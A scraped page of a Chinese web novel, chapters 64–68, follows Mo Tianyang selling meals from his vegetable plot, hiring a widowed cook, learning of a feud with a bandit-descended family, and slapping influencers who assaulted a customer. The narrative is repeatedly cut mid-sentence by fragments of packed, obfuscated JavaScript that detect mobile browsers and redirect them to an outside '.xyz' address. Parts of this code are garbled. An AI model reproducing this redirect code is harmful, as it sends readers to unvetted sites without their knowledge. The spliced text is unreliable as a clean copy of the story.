p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969233|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话一出，所有人的眼睛都亮了。青木村偏僻，来这儿买菜的都不差钱，可除了啃方便面，还真没地方弄口热乎饭吃。听说有热饭热菜，谁不高兴？ “多少钱一份？” “大烩菜12块，炖鸡肉25块一碗，馒头管够，不要钱！” “嚯！这么便宜？” “赚个辛苦钱！”陈峰拍着胸脯，“大伙儿放心，菜全是咱地里刚摘的！至于味道嘛……中午尝尝就知道！” “地里的菜？那能不能拌个凉菜？黄瓜就行！” “成！拌黄瓜6块一份！” 莫天扬要支摊做饭的消息像长了翅膀，飞快传遍了排队的人群。别说炖鸡了，光是听说大烩菜用的就是他们心心念念要买的“青木菜”，就勾得人馋虫直冒。不少原本打算买完菜就走的，都留了下来等着开饭。 莫天扬深知食品安全马虎不得。他戴上口罩，换了身干净衣裳，亲自掌勺。 连爷爷莫啸都点头的厨艺，岂是寻常？ 炖鸡的大锅刚冒热气，一股霸道香气就弥漫开来，帐篷下乘凉的人精神一振，纷纷吸着鼻子——这鸡的香味，浓烈醇厚得超乎想象！平时家里常吃的鸡肉，哪有这般勾魂摄魄的香气？ 光是这肉香，就让不少原本只想点大烩菜的人改了主意。 更让他们惊讶的还在后头。莫天扬做的大烩菜一出锅，那混合着蔬菜清甜和浓郁汤汁的复合香气，竟比肉香还要勾人，飘出老远，把不少排长队等买菜的人都直接吸引了过来。 十一点多，炖鸡、大烩菜、凉拌黄瓜齐齐出锅。陈峰几人掌勺，每一份都盛得冒尖。 虽是普通鸡肉，可第一口下去，食客们不约而同地望向那个戴着口罩、正忙着下一锅大烩菜的青年，个个瞪大了眼，满脸难以置信——一个农村青年，竟能炖出这般极致的美味？ 大烩菜和拌黄瓜的味道同样惊艳，前所未有。一大锅大烩菜，短短十几分钟就被抢购一空。 不少人吃完一份，立马重新排队，对那些免费管够的热乎馒头，竟是看都不看一眼。 从十一点开卖到下午两点，摊位前的人流就没断过。最后一位客人离开时，无不抹着嘴直夸。更有甚者，当场开出高价，想挖莫天扬去当大厨！ 第六十四章收徒？ 没了顾客，莫天扬干脆就在露天灶台前炒起了菜。 一道道热气腾腾的菜肴端上桌，胡标他们陆续围坐过来。这一幕，让还在帐篷里乘凉的顾客们看得直瞪眼。 他们原以为曹勇这些人不过是打工的，莫天扬管饭顶多也就是大烩菜配馒头。可眼前这阵势——四五个现炒的小菜，还有单独盛出来油亮喷香的炖鸡肉，桌上甚至摆着烟酒！这哪是打工人的伙食？ 看着那群老人围坐一桌，笑声不断，推杯换盏，这些自诩家境不错的顾客心里倒泛起一丝羡慕。他们深知打工不易，可眼前这场景，分明是一大家子其乐融融地聚餐，哪有一丝打工人的窘迫？ 有人悄悄举起手机，将这一幕拍下发到了网上。视频里，工人们围坐吃饭的温馨场面，连同那桌丰盛的酒菜，瞬间引发热议。别说普通工人了，连许多大公司的白领看了都心生向往，评论区一片“羡慕哭了”的留言。 更有人被中午那顿香飘十里的大锅饭勾起了馋虫，纷纷留言询问地址，恨不得立刻去青木村体验一把。 晚上，一群人坐在遮阳棚下吃饭。几杯酒下肚，陈峰看向莫天扬，脸上带着压不住的兴奋：“天扬，猜猜今天卖饭收了多少钱？” “我还真没顾上算。”莫天扬放下筷子。 “乖乖！今天一共炖了三十只鸡，用了六百斤黄瓜，茄子、豆角、青椒每样二百斤！你猜怎么着？卖了一万四千多块！” 莫天扬眼神一凝，满是惊讶。他定价本就不高，初衷只是方便远道而来的顾客，压根没指望靠这个赚大钱。可短短两个多小时，一万四！算下来，这一顿饭的利润就顶得上别人辛辛苦苦干好些天。 “这么多？”胡标替大家问出了疑惑，“外面撑**也就四五百人，就算全来吃，也花不了这么多吧？” “嘿，他们可不是只吃一份！”陈峰拍着大腿，“好多人一份不够吃，当场就加！更绝的是，一大半人都是打包带走的！好几份好几份地拎！不然你以为那几大锅菜怎么下去的？还不是天扬的手艺太勾人！光顾着抢菜了，馒头愣是没动几个！明天得再多备点菜才行。” 众人的目光齐刷刷投向莫天扬。莫天扬沉吟片刻：“卖饭是能赚，可大伙儿也实在太辛苦了。” 胡标眼珠转了转，提议道：“能赚钱就成！这几天邻村不少人来打听，想打短工。要不咱再雇点人手？洗菜摘菜的人多了，也能分担些。” 莫天扬点点头：“行是行，但雇人得把好关，那些好吃懒做、偷奸耍滑的，一个也不能要。” “天扬，”陈峰接话，“现在咱这菜地的光景，十里八乡都看着呢。听说振南、克雄他们都要回来跟你干，不少在外头打工的小年轻也动心了，都想回来。” “那就回来吧，”莫天扬拍板，“马上就到采摘旺季了，正是用人的时候。按现在这势头，跟着**，挣的不比外面少。” “那……还要从别的村雇短工不？”胡标追问了一句。 “如果是亲戚的话，可以让他们过来，”莫天扬语气温和却坚定，“咱们得先紧着咱村里的人。” 这话让胡标等人心头一暖，不禁暗自叹息。当年莫啸老爷子就是这样，心里总装着村里人。如今莫天扬不仅继承了爷爷种菜的本事，连这份心也一并传了下来。就算他现在成了村里最富裕的人，骨子里那份想带着乡亲们一起过上好日子的念头，一点都没变。 “天扬，”胡标搓着手提议，“以后你就专心管豆芽、做饭，其他的杂活都交给我们！” 曹勇听了直摇头：“胡标，你这话说的！天扬现在搁县里也算响当当的大老板了，哪有大老板天天围着灶台转的？” 胡标一愣：“可……可天扬做的饭香啊！” 陈峰眼珠转了转，接过话茬：“老曹说得在理。天扬的手艺是没得挑，可他要操心的事还多着呢，确实得找人接手这摊活儿。”他看向莫天扬，试探着说：“天扬，要不……你收个徒弟？一来你能腾出手，二来，也算把莫叔传下来的这门手艺给续上？” “人倒是个问题，”莫天扬微微蹙眉，“振南、克雄他们几个，对掌勺没半点兴趣。” 胡标想了想，目光转向陈宏利：“宏利，要不……你跟天扬学？” 陈宏利脑袋摇得像拨浪鼓：“不成不成！现在我们是兄弟，这要一拜师，我还得管天扬叫师父！多别扭！” 陈峰忽然眼睛一亮：“天扬，你这么一说，我倒想起个人，挺合适！” “谁？” “宏利的表姐，嫁到王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971293|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家堡那个。我尝过她做的菜，味道挺不错。” “女的？”曹勇有些迟疑，“就算她想来，她丈夫婆家能同意？再说还有孩子要照顾……” 陈峰脸上的笑容淡了，叹口气：“她以前日子是还行。可前年她男人出了意外走了……婆家不光独吞了赔偿款，还借口她只生了个闺女，硬是把她娘俩赶出了门。现在她在外面租了个小屋子，靠着刷盘子、捡破烂拉扯闺女。” “那她娘家……” “娘家也不宽裕。宏利舅舅想接她回去，她怕拖累爹娘，死活不肯……”陈峰语气里带着无奈和心疼。 莫天扬眉头皱得更紧了。陈宏利以为他不乐意，赶紧帮腔：“天扬，我表姐人真的特别好！手脚麻利，干活勤快得很！” “我没别的意思，”莫天扬摆摆手，“我是担心，她来了住哪儿？” “住我家！”陈宏利抢着说，“我家五间房呢，现在就我爹妈和我。腾出一间给她娘俩住，没问题！” 莫天扬点点头：“行。峰叔，你回头问问你外甥女愿不愿意过来。管吃住，一个月……先开三千。” “愿意！肯定愿意！”陈宏利喜出望外，“我明天就去接她！” 陈宏利的母亲曹建华笑着嗔怪儿子：“你这孩子！你表姐还没点头呢，你倒替人家应下了！一会儿回去我就拾掇屋子去。”她转向莫天扬，“对了天扬，勇叔，不是说克雄、红兵他们今天回来？怎么没见人影？” “得晚上十点多才到站。”曹勇答道。 莫天扬应了一声，目光转向陈宏利和胡振南：“宏利、振南，等他们几个回来，你们都得去报名学驾照。” 陈宏利和胡振南都愣了：“学本？学了本又能咋样？车也买不起啊！” “你们听我的安排就行，”莫天扬语气不容置疑，“报名费我出。” “这……这怎么好意思……” 莫天扬淡淡一笑：“凌哥是有辆车，可你们也看到了，光靠他那一辆根本不够用。往后跑外头办事，用车的地方多着呢，总不能老打车吧？等我手头宽裕点，也得添车。到时候，车就交给你们开。” “那你咋不学？”陈宏利好奇地问。 莫天扬摇摇头，目光似乎飘向了别处：“我对车……没兴趣。” 第六十五章苦命女人 “天扬！我们回来了！” 正往池塘里撒菜叶的莫天扬闻声回头，看见两个穿着时髦的青年走了过来。一个敦实，一个精瘦，个头也差着半头，年纪都和他相仿。 曹克雄和莫红兵。两人只比莫天扬大一两岁，算是一起穿开裆裤长大的发小。当年因为莫啸的关系，几家走得近，他们和陈宏利、胡振南、莫天扬几个成天混在一块儿。 过年那阵子，他俩没少往莫天扬这儿跑，还偷偷塞给他几百块钱生活费。这份情谊，莫天扬一直记在心里，也是他执意要把他们叫回来的原因。 “天扬，你的腿……真好了？”曹克雄打量着莫天扬。 莫天扬哈哈一笑，用力拍了拍右腿：“好利索了！那边的事儿都交代完了？” “嗨，就那点行李，工资拿到手，行李要不要都无所谓了！”莫红兵咧嘴笑道。 “天扬，真没想到你还有这本事！”曹克雄拍了下大腿，“怪不得人人都说知识就是力量，学问高了，连种菜都能种出花儿来！” “对对对！”莫红兵连连点头，“我们在申城刷短视频都看菜地的视频！拍得可神了！我爹他们都能看到，可怎么就看不到你的视频，邪了门了……” 莫天扬心头一动。第一天卖菜时，他明明就在外面。陈宏利之前也提过类似的话，现在曹克雄和莫红兵又这么说……这到底是怎么回事？为什么偏偏有他的视频却看不到。 他按下疑惑，解释道：“上大学那会儿勤工俭学，跟着一个种植大户干过一阵子，多少学了点皮**……” “哎，咱们就不是上学那块料，”曹克雄摆摆手，“以后我要有了娃，非得逼他好好念书不可！” “想得倒远！”莫红兵推了他一把，转向莫天扬，“天扬，我们人也到了，你看我俩能干点啥？你尽管吩咐！” “眼下活儿不少，”莫天扬指了指菜地方向，“没事就去地里帮着搬菜。以后你们跟红利、振南搭伙，专门负责跑外头的事。” “行嘞！那我们先去地里瞧瞧！”两人应了一声，风风火火地出去了。 看着他们离开的背影，莫天扬深深吸了口气。这四个发小，是他年少时最铁的伙伴。如今他们都愿意回来帮衬自己，很多事就不用再单打独斗了。 他转身望向池塘。盛夏时节，池塘里生机勃勃。碗口大的荷花亭亭玉立，颜色各异的纯色荷花，散发着沁人心脾的清香。荷叶下，螃蟹、小龙虾、鬼面虾悄悄探出身子觅食。成群的鱼儿在莲梗间灵活穿梭，搅动起细碎的水波。 莫天扬又抓起一把菜叶，细细撕碎，撒向水面。碎叶刚落水，立刻引来鱼虾蟹的争抢，水面顿时热闹起来…… “天扬！我回来了！” 陈宏利的声音传来。莫天扬抬眼看去，只见陈宏利正朝他招手，身后跟着一位身材消瘦、穿着洗得发白的旧衣、约莫三十多岁的女子。女子脸庞泛着不健康的蜡黄，始终垂着头，手指无意识地绞着衣角，显得十分局促。她身后，一个五六岁的小女孩怯生生地探出脑袋，乌溜溜的眼睛好奇地打量着四周鲜翠欲滴的蔬菜。 “这是我表姐，曹慧。”陈宏利引着人走近，“这是她闺女，曹雅婷，现在跟着表姐姓。” 同样从底层挣扎过来的莫天扬，太明白曹慧此刻的心情了。他冲曹慧温和地点点头：“慧姐好，我是莫天扬，跟宏利是光屁股一起长大的兄弟。到了这儿，就当自己家，别拘束。” 曹慧这才怯生生地抬起头，声音细若蚊呐：“我听宏利说…你这边缺个做饭的。我…我也不知道自己行不行…不过地里的活计我也能干…只要…只要给我们娘俩一口热乎饭吃就行……” 莫天扬放轻了声音：“峰叔跟我提过，说你手脚麻利，饭菜做得也好。你先跟着我打打下手，慢慢熟悉。管吃住，工资先定三千一个月。”他顿了顿，看向陈宏利，“住处暂时我这还没腾挪开，慧姐和小雅婷先住你家。” 曹慧来之前确实听表弟提过工资的事，可她压根没敢信。在浅驼这地方，打零工能糊口就不错了，一个月三千？那是想都不敢想的高工资！此刻亲耳听到，她猛地瞪大了眼睛，干裂的嘴唇微微张着，看向莫天扬的眼神里全是难以置信。 “三…三千？”她几乎以为自己听错了。 莫天扬肯定地点点头：“暂时是这个数，往后要是效益好，还能再加。” “太…太多了…我哪值……”曹慧慌忙摆手，声音都有些发颤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975715|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “表姐！”陈宏利赶紧接过话头，语气带着安抚，“真不多！我妈在这儿帮忙都拿两千呢！你就安心干，天扬不会亏待勤快人。” “红利，你和振南那边的事……”莫天扬问道。 “放心吧天扬！”陈宏利应道，“简易房都按你的要求跟施工队交代清楚了，明后天就能进场搭建。鸡也买好了，今天买了五十只！” “五十只？”莫天扬微微一怔，他太清楚五十只鸡能炖出多少肉了。 “你出去看看就知道了，”陈宏利朝外努努嘴，“我爹还嘀咕呢，怕买少了不够卖！” 莫天扬点点头，转向曹慧：“慧姐，正好一起出去，让你姑带你认认人。” 莫天扬戴上口罩走出菜地。一直带着小狼崽在附近转悠的大青仿佛知道他要出门，立刻跟了上来。刚出来没注意到青狼的曹慧，一眼瞥见这高大威猛的狼王，瞬间脸色煞白，手指哆嗦着指向狼群，声音都变了调：“宏…宏利……” “表姐，你平时不看视频吗？”陈宏利忙解释，“大青是天扬救回来的，小狼崽是山上狼群送来的。它们就住在天扬院子里，只要不去招惹，没事儿的，跟看门狗差不多。” 一走出院子，莫天扬眼中便掠过一丝惊讶。只见菜地那边人头攒动，乌泱泱一片，比起昨天，人数几乎翻了一倍！ “今天怎么来了这么多人？”他低声问。 “还不是昨天那大烩菜和炖肉闹的！”旁边有人搭话，“刚听说好些人是从沛川那边专程赶来的，就为尝你这一口手艺！” 有陈峰夫妻俩热情张罗，曹慧很快融入了忙碌的人群。正如陈峰所说，她虽然身形单薄，但手脚极其麻利，眼里有活儿，根本不用人指点，就知道该干什么。 莫天扬看着曹慧专注干活的身影，暗自点头。当个好厨师，天赋固然重要，但更关键的是勤快和这份眼力劲儿。尽管曹慧才刚来，莫天扬心里已经认可了这位历经坎坷却依然坚韧肯干的女人。 大青亦步亦趋地跟在莫天扬身边，小狼崽则追着小白跑进了菜地玩耍。有狼王在侧，那些被诱人菜香勾得心痒痒、想凑近看莫天扬掌勺的人们，也只能远远站着，使劲吸着空气中飘散的浓郁香气，不敢靠前。 第六十六章李翠花的过往 金杯银杯，终究不如老百姓的口碑。 虽说昨天只是第一次支摊卖饭，但“青木村大烩菜、炖肉——真材实料、物美价廉、味道绝了”的消息，早已像野火燎原般在网上传开了。尤其是那大烩菜和炖鸡肉的味道，被尝过的食客们吹得神乎其神，奉为珍馐！这不，今天涌来的人潮里，一多半都是冲着这口吃的来的。 陈峰担心的果然没错——五十只鸡，硬是被抢得干干净净！最后来的人只能捧着大烩菜和凉拌黄瓜解馋。刚风尘仆仆赶回来的曹克雄、莫红兵，还有初来乍到的曹慧，目睹这近乎疯狂的抢购场面，惊得眼珠子都快掉下来了。 等他们自己也尝到那炖鸡、烩菜和凉拌黄瓜的味道时，震撼更是无以复加。别说曹克雄和莫红兵了，就连做过帮厨的曹慧，看向莫天扬的眼神都彻底变了。她实在想不通，最普通的食材，怎么到了他手里，就能化腐朽为神奇？ “姑姑，”曹慧小声问曹建华，“不是说天扬是大学生吗？他这厨艺……” 曹建华望着莫天扬带着大青走回院子的背影，轻叹一声：“这孩子命苦，从小没了爹妈。他爷爷是咱十里八乡有名的‘厨神’，天扬打小就在灶台边帮忙，耳濡目染，把这身本事都学透了。慧啊，这次叫你来，就是想让你跟着天扬好好学。用心点，只要学到他一星半点儿的真本事，你这后半辈子，就不愁了。” “姑姑，你放心，我一定用心学！”曹慧的眼神变得坚定。 莫天扬回到爷爷屋里，看到端回来的炖肉和烩菜都被吃得精光，空气中还飘着一丝淡淡的酒气。老爷子正歪在炕上，有一搭没一搭地看着电视。 “爷爷，今天的大烩菜还行吧？” 莫啸眼皮都没抬，淡淡哼了一声：“马马虎虎。炖鸡那火候，还差点意思。” 莫天扬笑了笑。能让爷爷评价“马马虎虎”，已经算难得了。“今天量太大，火候是有点没控好，明天我注意。” “天扬，”莫啸话锋一转，语气低沉下来，“莫老三那边……” 莫天扬深吸一口气：“这些年他家得罪的人太多了，前阵子又坑了不少亲戚朋友。别说村里没人去帮忙，连奔丧的亲友都凑不出几个。” 莫啸沉默片刻，发出一声长长的叹息：“莫老三小时候……倒也不算太坏。是娶了李翠花之后，才慢慢变了个人。很多时候，他就是李翠花的提线木偶。如今莫老三**，可李翠花还在。那女人……看着不声不响，心肠可比莫老三毒辣百倍。你得小心提防。” 莫天扬心头一凛：“李翠花？” “她爹，她祖上，都是刀口舔血的悍匪。” “土匪？” “可不是一般的土匪，”莫啸的声音带着寒意，“她爹，她爷爷手上，沾的人命……少说也有上百条。” “我明白了。”莫天扬神色凝重。 “听他们说，莫栓那小子，讹了医院不少钱？” “六十万。现在正张罗着卖老宅子和沙地呢。” 莫啸猛地坐起身，浑浊的老眼里闪过一丝精光：“那就更得防着点了！让胡标、曹勇他们赶紧找人，想办法把莫老三的老宅和沙地都盘下来！断了他们回村的根！” 莫天扬重重地点了点头。一股寒意悄然爬上脊背。他一直以为莫家父子是祸根，却直到此刻才明白，那个深居简出的李翠花，才是真正流淌着凶徒血脉的毒蛇。 “爷爷，这事儿以前怎么从来没听您提过？”莫天扬追问。 莫啸浑浊的眼睛里闪过一丝难以捉摸的光：“这片地界上，没人知道李翠花的底细。我也是偶然间才晓得的。那些年，她倒也没做什么出格的事，我就想着，过去的事就让它烂在肚子里吧……可这些年……”他话没说完，但忧虑尽在不言中。 “爷爷，我明白了。”莫天扬沉声道。 莫啸点点头，声音压得更低：“你自己多留神就是。李翠花除了莫栓之外还有别的后人。万一她的老底被人掀出来，当年死在她爹、她爷爷刀下的那些人的后代，难保不会找上门来报仇。再说，李家当年除了她，还有没有别人逃出来，谁也不知道。这事儿要是捅破了天，你会惹上更大的祸事。” 莫天扬深吸一口气，脸色变得异常凝重。他没经历过那个血雨腥风的年代，但从爷爷和村里老人的只言片语里，他深知当年的土匪是何等凶残。 从爷爷屋里出来，莫天扬的心头像压了块石头。原以为莫老三一死，只需提防莫栓就够了。谁能想到，那阴狠的莫老三，竟不过是李翠花手中的提线木偶！若不是爷爷点破，谁能看透那个深居简出的女人，背后竟藏着如此狰狞的过往？ 李翠花的事搅得他心神不宁，索性走到池塘边坐下，望着水中游弋的鱼蟹发呆，试图理清思绪。 “天扬！”陈宏利的声音打破了沉寂，“外面有人找，说是涛哥介绍来的！” 莫天扬定了定神，走出菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975716|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。只见三个中年人脚步匆匆地走进来，还不时紧张地回头张望。看到莫天扬，他们明显一愣。 “你是莫天扬？” “我是。你们是……” “我们是李红军介绍过来的。我叫吕建国，听说你这院子要翻盖？”为首的中年人递上名片。 莫天扬点点头：“辛苦了，里面请坐。” “外面那几只……是狼吧？”其中一人心有余悸地指了指。 “没事，只要不主动招惹它们，它们不会攻击人。”莫天扬平静地解释。 “怪不得李老板说你是个奇人……”吕建国感叹道，眼神里多了几分敬畏。 在遮阳棚下落座，莫天扬沏上李红军带来的茶，给每人斟了一杯。他指了指眼前的一排老屋：“就是这一排，想推倒重建。” “先说说你的想法。”吕建国拿出笔记本。 “我这院子大概五六亩。我想弄成两进院子，风格偏向复古。里面这一进，做成典型的北方四合院，院子下面挖个大仓库。外面这一进，把那个池塘也圈进来。” 吕建国边记边点头：“李老板之前给我们看过照片，我们大致也这么构思过。不过……”他顿了顿，“一旦开工，你这满院的菜地……” 莫天扬淡淡一笑：“这个我想过了。优先保证菜地，最好能不破坏。可以先集中力量建正面的主体建筑。咱们这儿的情况你也知道，等正面这栋二层楼盖起来，天也该冷了，那时候再动外面的大工程，影响就小了。” “听说还要建作坊？” “对，规划在南面这一排。到时候房子要南北通透，两面开窗，采光通风都要好。” “行！”吕建国合上本子，“我们今天先实地丈量一下，回去做详细规划，尽快把图纸给你。” “好，”莫天扬指着池塘方向，“那边也请看看，如果能在水边规划几个小凉亭……” 直到夕阳西沉，吕建国三人才结束工作，婉拒了莫天扬留饭的邀请，驱车离去。 他们前脚刚走，陈宏利带着胡振南、曹克雄、莫红兵就围了过来。 “天扬，那几个人是干啥的？在院子里到处量尺寸拍照。”陈宏利好奇地问。 “工程队的，负责院子改建规划。他们说最快一星期就能动工，”莫天扬看向四人，“所以外面搭简易房的事得抓紧。另外，你们明天抽空进城一趟，预定几台空调回来。咱这儿天冷得快，我无所谓，可不能冻着老爷子。” 第六十七章动手 晚饭后，莫天扬特意找来曹勇、胡标和陈峰，商量莫老三老宅和沙地的事。 听完莫天扬的想法，三人都点头赞同。胡标深吸一口烟：“早上李翠花还找过我。后天莫老三下葬，我这个支书于情于理都得去烧张纸送他一程。到时候，我顺便探探口风，看他们想要多少。” 莫天扬目光闪动，看向曹勇：“标叔，勇叔家的院子确实不大。现在克雄回来跟着**，村里人都看在眼里。您就借着这个由头，说勇叔家儿子回来要成家立业，院子不够住，想买下莫老三的老宅和那片沙地。这样合情合理。” “天扬这主意好！”陈峰一拍大腿，“李翠花母子要是没了老宅和沙地，等于断了回村的根！看他们还怎么在背后使坏！” “我就怕莫栓那小子狮子大开口……”曹勇有些担忧。 莫天扬淡淡一笑：“莫栓这次借着莫老三的死，从医院讹了七十多万，他现在可不缺那点钱。再说了，莫老三的沙地位置是好，但离我这菜地十万八千里呢。他不会想到是我让勇叔去买。” …… 胡振南、曹克雄、莫红兵这三个发小的回归，加上勤快能干的曹慧，莫天扬一下子轻松了不少。他每天只需去看看豆芽，喂喂青狼、山鸡和野兔，连喂鱼喂蟹的活儿都被曹慧主动接了过去。 闲下来的莫天扬回到老屋，开始收拾东西。再过几天，这住了祖孙三代的老土房就要拆了。 他自己的东西没几样值钱，倒是王林川他们上次带来的烟酒礼品，塞满了一个掉漆的老柜子。 看着柜子里堆放的中华烟和茅台酒，莫天扬心思一动，给正在外面菜地忙活的曹克雄和莫红兵打了个电话。 两人一进屋，目光落在莫天扬摊在火炕上的东西时，瞬间像被钉住了——几条红彤彤的中华烟，还有几瓶醒目的飞天茅台！ 他们在南方大城市打工，虽然自己没抽过喝过，但眼力还是有的。中华烟一条就值五六百，普通人哪舍得抽？至于飞天茅台，一瓶少说也得三四千！他们做梦也想不到，会在莫天扬这简陋的老屋里看到这些“硬通货”！ 再看看莫天扬随手拆开的那些名牌衣服包装，两人更是惊得合不拢嘴。“天扬，这……这些东西你哪弄来的？”曹克雄声音都变了调。 “朋友送的。”莫天扬说得轻描淡写，“这条烟你们拿出去散给大伙儿抽。剩下那条，你俩分了。酒嘛，改天找机会咱们兄弟喝了。” “我的天！这也太大方了吧？这一条烟就顶我几天工钱！”曹克雄一边说，一边拿起一瓶茅台仔细端详。突然，他眼睛瞪得溜圆，失声道：“天扬！你知道这酒多少钱一瓶吗？这是顶级的53度飞天茅台！一瓶能卖到三四千！这要是拿出去……” 莫天扬依旧淡然一笑：“再贵，喝进肚里不也就五百毫升？找个好日子，喝了它。” “啊？！”正在拆烟的莫红兵也发出一声惊呼，“克雄你快看！这中华烟是‘三字头’的！最好的那种！光这一盒烟，外面就能卖七八十！这烟……这烟咱们哪抽得起啊！” 莫天扬微微一愣。他不抽烟，只知道李红军他们带来的都是真货，却没留意还有“三字头”这种讲究。不过，他并不在意：“抽就是了。柜子里还有几条呢，留点等王哥他们来了再开。其他的，你们四个一人拿一条，出去办事也撑撑面子。” 五人从小光屁股长大，情同手足。见莫天扬说得真诚，曹克雄和莫红兵也不再扭捏，笑着重重拍了下他的肩膀：“谢了，兄弟！那等晚上回去，我们过来拿！” “今天外面来的人多不多？”莫天扬问道。 “你自己去看看就知道了，”曹克雄指着外面，“感觉比昨天还多！里头还混了不少带货主播呢！” “带货？”莫天扬失笑，“跑咱们这沙窝窝里带啥货？卖沙子啊？” 莫天扬这些年埋头种地，对网络生态了解不多，更不懂“带货”的门道。但常年在外打工、刷短视频的曹克雄和莫红兵，却深知其中的猫腻。 “天扬，你这蔬菜这几天在网上火得一塌糊涂！”莫红兵接话，“也就是咱村太偏，不然来的网红和自媒体能把地皮踩塌了！” 莫天扬眉头微皱：“网红我知道，靠流量赚钱。但这跟咱的菜有啥关系？” 曹克雄神色严肃起来：“天扬，我担心的是，这帮人是拿你种出的‘青木菜’当幌子！挂羊头卖狗肉！用普通菜冒充你的高价菜！这中间的差价可大了去了！买的人一多，一天下来骗个几万甚至几十万都有可能！” 莫天扬眼神骤然一冷。他再穷也从未干过偷鸡摸狗的勾当，最恨的就是弄虚作假。现在竟有人跑到他眼皮子底下，打着他的招牌骗人？这绝不能忍！ “妈的！我这就出去把他们轰走！”莫红兵怒气冲冲就要往外走。 莫天扬一把拦住他。虽然不看直播，他也知道很多主播毫无底线。一旦冲突起来，对方必定想方设法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979892|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹黑青木村。他事业刚起步，经不起这种麻烦。 “天扬！他们这是要砸咱们招牌啊！”曹克雄急了，“要是有人买了假货，咱们‘青木菜’的名声可就全完了！” 莫天扬目光沉静：“网红什么德行你我都清楚，硬碰硬对咱们没好处。” “那也不能眼睁睁看着他们毁了咱们啊！” “那就……”莫天扬嘴角勾起一丝冷意，“用魔法打败魔法。” “啥魔法？我们没文化，说人话！” “天扬！快出来！出事了！”曹慧焦急的声音在门外响起。 三人立刻冲出门外。只见曹慧脸色发白：“不好了！有一伙网红打着卖‘青木菜’的旗号骗人，被一个来买菜的女顾客当场揭穿了！那些人……那些人恼羞成怒，把那姑娘打了！” 莫天扬眼中寒光一闪！他还没出手，竟已有仗义执言的顾客替他戳破了这骗局！ 菜地外一片空地上已围满了人。但随着大青一声威慑性的低沉咆哮，人群“唰”地散开一条通道。莫天扬一眼看到，一男两女正围着个戴口罩的年轻女子拳打脚踢！ “小**！敢在老子的地盘上撒野！看老子不打死你！”为首的壮汉面目狰狞，拳头高高扬起。 根本无需多想，挨打的定是那个勇敢揭穿的顾客！莫天扬身形如电，瞬间切入人群，铁钳般的大手一把攥住了那壮汉即将落下的手腕！ “住手！”声音不大，却带着冰冷的穿透力。 一直无人敢管，让这三人气焰嚣张到了极点。此刻竟有人敢阻拦？他们哪里肯罢休！ “**找死！知道老子是谁吗？！”壮汉咆哮着挣扎，另一只手挥拳就朝莫天扬脸上砸来！ 换做从前，莫天扬或许会忍。但蜕变后的他深知，一味的忍让，只会让恶人更加肆无忌惮，如同当年的莫老三一家！ 更何况，这是在青木村的地界！是他的顾客因揭穿骗局而被打！他本就该出手，此刻更是师出有名！ “啪——！” 一声极其清脆响亮的耳光炸开！那身高一米八几的壮汉，竟像个破麻袋一样，被莫天扬这含怒的一巴掌狠狠扇飞出去！ 别说是在场的人，就是跟着过来的曹克雄、莫红兵都愣在哪里，他们和莫天扬一起长大，对于莫天扬熟悉的再不能熟悉，莫天扬被莫老三打断腿都没有还手，这现在过来就直接扇飞一个壮汉，这让他们简直不敢相信自己的眼睛。 “**的敢打我兄弟。” 第六十八章我叫颜若曦 “啪！” 莫天扬毫不留情，反手又是一记响亮的耳光！另一个扑上来撕扯女子的男人也被扇得踉跄后退。 这一下，那个浓妆艳抹、活像妖精似的女人吓得尖叫一声，慌忙松开被打的女孩，连滚带爬地逃向远处，嘴里还尖声喊着：“救命！**啦！” 莫天扬冷冷瞥了一眼那呼救的女人，目光如刀锋般扫向地上那两个狼狈不堪的男人，声音里淬着冰碴：“两个大男人，合起伙来欺负一个姑娘？你们也配叫男人？我都替你们臊得慌！” 